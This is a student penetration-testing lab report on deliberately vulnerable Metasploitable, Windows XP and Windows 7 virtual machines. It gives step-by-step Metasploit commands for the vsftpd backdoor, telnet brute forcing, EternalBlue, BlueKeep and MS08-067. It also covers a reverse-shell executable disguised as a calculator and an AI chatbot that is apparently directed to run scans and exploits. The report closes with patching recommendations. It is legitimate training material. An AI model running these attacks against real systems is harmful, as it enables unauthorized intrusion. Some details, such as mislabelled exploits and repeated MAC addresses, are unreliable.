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PROJECT OBJECTIVES 

Perform penetration testing on a given target to discover and exploit vulnerabilities, and 

to analyze the results, and report them with recommendations. 

Project Environment 



The project consists of several VMs, each of which has its settings and configurations 

(e.g. different OS, ports, services, versions, etc.). Some of the VMs are intentionally 

vulnerable and therefore can be exploited. 

Penetration Testing Process and Findings 

First Machine: Metasploitable 

Exploit 1 

Tools used: (netdiscover, Nmap, MSF) 
 

Host Info: Host 1 (Metasploitable) 

Operating System Linux 

IP Address 10.0.2.6 

MAC Address 08:00:27:F5:30:9F 

Open Ports 21, 22, 23, 25, 53, 80, 111, 
139, 445, 512, 513, 514, 1099, 
1524, 2049, 2121, 3306, 5432, 
5900, 6000, 6667, 8009, 8180 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network. 
 

 

 

 

 

 

 

Step 2: Scanning 



Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.6 

-sS for TCP Scan 

-sV for service version 

-O for OS detection 
 

Step 3: Vulnerability assessment 



Now we start with the vulnerability assessment we use the command to start the metasplotable 

database: 

$ sudo msfdb init 
 

Then we use this command to open metasploitable console: 

$ sudo msfconsole 
 

Next we use nmap inside metasploitable to scan the target machine (for us 10.0.2.6): 

> db_nmap -sV -T4 10.0.2.6 



-sV for service version 

-T4 for the speed of the scan 
 

After that we narrow down the search to a specific port (for us port 21) 

> db_nmap-sV – T4 10.0.2.6 -p 21 

-sV for service version 

-T4 for the speed of the scan 



 

After that we search for the exploits in that specific port: 

> search vsftpd 2.3.4 
 

Step 4: Exploitation 

Next we start using the exploit, we use the following command: 

> use 0 
 

Then we set the victim’s IP using this command: 

$ set rhosts 10.0.2.6 
 

After that we set the payload: 

$ set payload cmd/unix/interact 



 

Then we run the exploit: 

$ exploit 
 

Then we interact with the victim, first we send to background: 

> background 
 

 

 

 

 

 

 

 

 

 

 

Then we check the sessions: 

> sessions 
 

Then we upgrade to Meterpreter using this command: 



> sessions -u 1 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Then we interact with the Meterpreter using the command: 

> sessions -i 1 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Now we can use the commands shown (for us we used the ls command): 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Exploit 2 

Tools used: (netdiscover, Nmap, Hydra, nano) 



Host Info: Host 1 (Metasploitable) 

Operating System Linux 

IP Address 10.0.2.6 

MAC Address 08:00:27:F5:30:9F 

Open Ports 21, 22, 23, 25, 53, 80, 111, 
139, 445, 512, 513, 514, 1099, 
1524, 2049, 2121, 3306, 5432, 
5900, 6000, 6667, 8009, 8180 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network. 
 

 

Step 2: Scanning 

Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.6 

-sS for TCP Scan 

-sV for service version 

-O for OS detection 



 

Step 3: Vulnerability assessment 

Now we start with the vulnerability assessment we use the command to start the metasplotable 

database: 

$ sudo msfdb init 



 

Then we use this command to open metasploitable console: 

$ sudo msfconsole 
 

Next we use nmap inside metasploitable to scan the target machine (for us 10.0.2.6): 

> db_nmap -sV -T4 10.0.2.6 



-sV for service version 

-T4 for the speed of the scan 
 

Also we know that telnet uses no encryption and allows brute force attacks, so we will brute 

force into telnet using hydra. 

First we create a username list file using nano: 
 

Then we write common usernames inside the file: 



 

After that we create a password list file also using nano: 
 

Then we write common passwords in that file: 
 

After doing these 2 things now we are going to use hydra so it can brute force the telnet login: 
 

As you can see in the previous command, we have extracted the login and password using hydra 

and the files we created. 



Now we try to connect using the information we have: 
 

Now that we are successfully connected using telnet lets try some commands: 
 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Exploit 3 

Tools used: (telnet, VRFY) 
 

Host Info: Host 1 (Metasploitable) 

Operating System Linux 

IP Address 10.0.2.6 

MAC Address 08:00:27:F5:30:9F 

Open Ports 21, 22, 23, 25, 53, 80, 111, 
139, 445, 512, 513, 514, 1099, 
1524, 2049, 2121, 3306, 5432, 
5900, 6000, 6667, 8009, 8180 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network. 



 

Step 2: Scanning 

Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.6 

-sS for TCP Scan 

-sV for service version 

-O for OS detection 



 

Step 3: Vulnerability assessment 

Now we start with the vulnerability assessment we use the command to start the metasplotable 

database: 

$ sudo msfdb init 



 

Then we use this command to open metasploitable console: 

$ sudo msfconsole 
 

Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.6 

-sS for TCP Scan 



-sV for service version 
 

Nmap service version scan we selected SMTP which is port 25 
 

I used telnet then its successfully connected to the SMTP service on port 25 using Telnet 

confirming the server is running Postfix and ready to accept input for enumeration. 



 

Used the VRFY command over SMTP to successfully enumerate valid system users (root, 

msfadmin, postgres, nobody) confirming user enumeration vulnerability. 

Discovering valid usernames = starting point for brute-force, social engineering, or privilege 

escalation. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



Exploit 4 (Using ChatGPT) 

Tools used: (nmap, msfconsole) 
 

Host Info: Host 1 (Metasploitable) 

Operating System Linux 

IP Address 10.0.2.5 

MAC Address 08:00:27:57:72:EA 

Open Ports 21, 22, 23, 25, 53, 80, 111, 
139, 445, 512, 513, 514, 1099, 
1524, 2049, 2121, 3306, 5432, 
5900, 6000, 6667, 8009, 
8180,8787, 33316, 33823, 34005, 
54555,  

 

 

Step 1: Reconnasance (Information Gathering) 

We asked ChatGPT to discover all hosts on our network 10.0.2.0 

 

 



 

Step 2: Scanning 

Here we asked ChatGPT to use nmap tool to start an aggressive scan on the host without being noisy and 

save the result on file 

 
 



 
 



 
 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 



Step 3: Vulnerability assessment 

First we asked GPT to search for any vulnerability on 2121 port for ProFTPD 1.3.1 and it shows that 

there’s no result 

 
Then we asked for another port which is 21 and it display 2 exploits 

 
 

Step 4: Exploitation 

After we asked him to run the exploit number 2 

 

 
 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Second Machine: Windows XP 



Exploit 1 

Tools used: (netdiscover, Nmap) 
 

Host Info: Host 1 (Windows XP) 

Operating System Windows XP 

IP Address 10.0.2.15 

MAC Address 08:00:27:F5:30:9F 

Open Ports Target1:10.0.2.2:135,445 
Target2:10.0.2.3:all ports 
filtered 
Target3:10.0.2.15:135,139, 
445 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network. 
 

 

 

Step 2: Scanning 



Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.2 
 

Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.3 

$ sudo nmap -sS -sV -O 10.0.2.15 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Step3:Vulnerability Assessment: 



Now we start with the vulnerability assessment we use the command to start the command: 

Nmap –script vuln –P445 10.0.2.15 

 
 

 

 

 

 

 

 

 

 

 

 

 

We will searchsploit for the MS08-067 output: 



 

Step 4: Exploitation 

Next we start using the exploit, we use the following command: 
 

We launched metasploit using the command:msfconsole this tool used to exploit confirmed 

vulnerabilties in target systems 

Next we start using the exploit, we use the following command: 



Use exploit/windows/smb/ms08_067_netapi 
 

-Now we set the target of ip address (RHOSTS-LHOSTS) 
 

The Rhosts is the sets the ip of the victim machine you are targetting 

The LHosts is the ip address of the kali machine attacker to receive the reverse connection 

 

 

-Now we set the payload 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ensure that the meterpreer payload is seleced which give a powerfull remote shell. 

-Now i will run the Exploit 



 

Starts the attack f successful you will get a meterpreter session 
 

 

 

 

 

Exploit 2 

Tools used: (netdiscover, Nmap) 
 

Host Info: Host 1 (Windows XP) 

Operating System Windows XP 



IP Address 10.0.2.5 

MAC Address 08:00:27:EA:BF:F9 

Open Ports Target1 : 10.0.2.2 
Ports : 135,139, 445, 3389 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network. 
 

 

 

 

 

 

 

 

 

 

 

 

 

Step 2: Scanning 



Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.5 

Step3:Vulnerability Assessment: 

Now we start with the vulnerability assessment, based on this website 

(https://learn.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-026) 

We can see that this vulnerability is available on port 135, the vulnerability is called MS03-026 

DCOM Buffer Overflow. 

 

 

Step 4: Exploitation 

Next we start using the exploit, we use the following command: 

$ msfconsole 

https://learn.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-026


 

Then we used: > search bluekeep (to search the vulnerability) 
 

Then after that we will use the exploit that we found. 



 

Then after that we are going to run the exploit: 
 

Now we can see that the exploit did something to the other machine: 
 

 

 

 

 

Exploit 3 

Tools used: (netdiscover, Nmap) 



Host Info: Host 1 (Windows XP) 

Operating System Windows XP 

IP Address 10.0.2.5 

MAC Address 08:00:27:EA:BF:F9 

Open Ports Target1 : 10.0.2.2 
Ports : 135,139, 445, 3389 

 

Step 1: Reconnasance (Information Gathering) 

In the first step we used the command 

$ sudo netdiscover 

This command will show all the ip addresses connected to the network 
 

 

 

 

 

 

 

 

 

 

 

 

 

Step 2: Scanning 

Next Step we used the command: 

$ sudo nmap -sS -sV -O 10.0.2.5 



 

Step3:Vulnerability Assessment: 

Now we start with the vulnerability assessment, based on this website this vulnerability will give 

you access to the victims machine and it will mirror the screen of his machine. 

 

 

Step 4: Exploitation 

Next we start preparing to use the exploit, we use the following commands: 
 

This command is going to create a file in a shared file 
 



Here we create a directory named sharedfolder and them we set the permissions after that we are 

going to change the owners, then move the folder into another folder, at the end we are going to 

start the apache service on the machine. 
 

After that we are going to use the exploit, set the payload, set the LHOST, set the LPORT, then 

run the program. 



 

After that we are going to access the kali machine from the windows xp, and we click on the 

desktop/sharedfolder and download text.exe file. 



 

After downloading it double click it to run it and run the file, after that we want to write the 

following command in the kali linux command line to see the mirror of the windows screen: 

meterpreter > run vnc. 



 

And as we can see, we can mirror the screens. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Third Machine: Windows 7 



Exploit 1 

Tools used: (netdiscover, enum4linix, Nmap, MSF) 
 

Host Info: Host 3 (Windows 7 2008) 

Operating System Windows 

IP Address 10.0.2.9 

MAC Address 08:00:27:31:46:3d 

Open Ports 135, 139, 445, 3389, 5357, 
49152, 49153, 49154, 49155, 
49156, 49158 

 

Step 1: Reconnasance (Information Gathering) 

We use netdiscover and we specify the range 

netdiscover –r 10.0.2.0/24 

 

 

We found 4 hosts in the network 10.0.2.1, 10.0.2.2, 10.0.2.3, 10.0.2.9 



 

 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Start the scanning for detecting the OS for every host (we are targeting windows 7 ) 



 
 

 



 

10.0.2.9 is the host we are targeting. 
 



$ enum4linux 10.0.2.9 

We use this to get more information about the target. 
 

$ nmap –sV –T4 10.0.2.9 -v 

We use nmap to scan for open port on the host 



 
 

 

 

 

 

 

 

 

 

 

Step 3: Vulnerability assessment 



 

We found that there’s a vulnerability for SMBv1 servers (ms17-010) 

ID: CVE-2017-0143 

 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Step 4: Exploitation 



We start the exploitation, we use 0 which is exploit windows/smb/ms17_010_eternalblue 

And then we config the options, such as rhost which is the target host 

 
 

 

 

 

 

 

 

 

 

 

 

 

We select the target windows 7 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ run or exploit 

To start the exploit and as it shown here its success. 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

$ sysinfo 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

We access the test folder in Desktop and there’s a text file named secret. 



 
 

Exploit 2 

Tools used: (Nmap, MSF) 



Host Info: Host 3 (Windows 7 2008) 

Operating System Windows 

IP Address 10.0.2.9 

MAC Address 08:00:27:31:46:3d 

Open Ports 135, 139, 445, 3389, 5357, 
49152, 49153, 49154, 49155, 
49156, 49158 

 

Step 1: Reconnasance (Information Gathering) 

We use netdiscover and we specify the range same as in first exploit 

netdiscover –r 10.0.2.0/24 

 

 

 

We found 4 hosts in the network 10.0.2.1, 10.0.2.2, 10.0.2.3, 10.0.2.9 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10.0.2.9 is the host we are targeting. 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Step 2: Scanning 



$ nmap –sV –T4 10.0.2.9 -v 

We use nmap to scan for open port on the host 
 

 

 

 

 

 

 

 

 

 

Step 3: Vulnerability assessment 

We search for a vulnerability bluekeep for port 3389 CVE_2019_0809_bluekeep_rce 



 

Use 3 which is exploit/windows/rdp/cve_2019_0708_bluekeep_rce 
 

We config it by setting the rhost to 10.0.2.9 which is the target or the victim 



 

We set the target to windows 7 SP1 and start the exploit 
 



 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Here we navigated to the Desktop and list the files 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Exploit 3 (Client-side attack) 

Tools used: (msfvenom) 



Host Info: Host 3 (Windows 7 2008) 

Operating System Windows 

IP Address 10.0.2.9 

MAC Address 08:00:27:31:46:3d 

Open Ports 135, 139, 445, 3389, 5357, 49152, 
49153, 49154, 49155, 49156, 
49158 

 

Step 1: Reconnasance (Information Gathering) 

Step 1: Reconnasance (Information Gathering) 

We use netdiscover and we specify the range same as in first exploit 

netdiscover –r 10.0.2.0/24 

 
 

 

 

We found 4 hosts in the network 10.0.2.1, 10.0.2.2, 10.0.2.3, 10.0.2.9 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

10.0.2.9 is the host we are targeting. 



 
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Step 2: Scanning 



$ nmap –sV –T4 10.0.2.9 -v 

We use nmap to scan for open port on the host 
 

 

 

 

 

 

 

 

Step 3: Vulnerability assessment 

Here we created a malicious executable program and we specify the platform which is windows. 



 
 

Step 4: Exploitation 

$ use multi/handler 

$ set payload windows/meterpreter/reverse_tcp 

$ set lhost 10.0.2.15 



$ set lport 444 

$ exploit 

Here we config the connection so when the client or the target run the program it will establish 

the connection with it and the Metasploit listener will accept the connection 
 

 

 

 

 

 

 

 

Send the calculator to the client 



The ptmlisher- could not be verified_ /Ire you sure you want to 
run this software? 

  

 

 

 
I'll A/wcffS.ask before opening this file 

 

 
 

 



Here we received the connection and its established, then we run the VNC 



 

 

 

 

 

 

 

 

 

 

 

 

 

Recommendations: 



Metasploitable (Linux) 

 
Exploit 1: vsftpd 2.3.4 Backdoor (Port 21) 

 

• Update vsftpd to a secure version (2.3.5 or later). 

• Disable FTP if not needed and use more secure alternatives such as SFTP or FTPS. 

• Restrict access to port 21 using a firewall to limit exposure to trusted IP addresses. 

Exploit 2: Telnet Brute Force (Port 23) 

 

• Disable Telnet, as it transmits credentials in plaintext. 

• Replace Telnet with SSH (port 22) and implement key-based authentication. 

• Enforce strong password policies and configure account lockout after failed login 

attempts. 

Exploit 3: SMTP User Enumeration via VRFY (Port 25) 

 

• Disable the VRFY command on the SMTP server to prevent user enumeration. 

• Configure SMTP authentication and access controls. 

• Monitor mail logs for signs of enumeration or unauthorized probing. 

 

 

 

Windows XP Exploits 

 
Exploit 4: MS08-067 (SMB Remote Code Execution on Port 445) 

 

• Apply Microsoft’s MS08-067 security patch. 

• Disable SMBv1 to prevent exploitation via legacy protocols. 

• Restrict port 445 at the firewall or segment networks to limit exposure. 

Exploit 5: MS03-026 (DCOM Buffer Overflow on Port 135) 

 

• Apply the MS03-026 patch or migrate to a supported version of Windows. 

• Disable DCOM if not in use by configuring via dcomcnfg.exe. 

• Use a firewall to block or filter access to port 135. 

Exploit 6: VNC Access via Executable from Shared Folder 

 

• Disable automatic execution of files from shared folders. 

• Use endpoint protection software to block and quarantine unknown executable files. 

• Educate users not to execute untrusted files received over the network or from email. 



Windows 7 Exploits 

 
Exploit 7: MS17-010 (EternalBlue on Port 445) 

 

• Apply the MS17-010 patch released by Microsoft. 

• Disable SMBv1 across all systems. 

• Use internal network segmentation and firewall rules to restrict SMB traffic. 

Exploit 8: BlueKeep (RDP Denial of Service – CVE-2019-0708 on Port 3389) 

 

• Install the security patch addressing BlueKeep on all affected systems. 

• Disable Remote Desktop Protocol (RDP) if not required. 

• If RDP is needed, enable Network Level Authentication (NLA) and implement multi- 

factor authentication (MFA). 

Exploit 9: Malicious Payload Delivery via Executable (.exe) 

 

• Deploy Endpoint Detection and Response (EDR) solutions to monitor and block 

malicious executables. 

• Implement application whitelisting to prevent unauthorized programs from running. 

• Conduct regular user awareness training focused on phishing and suspicious file 

handling. 


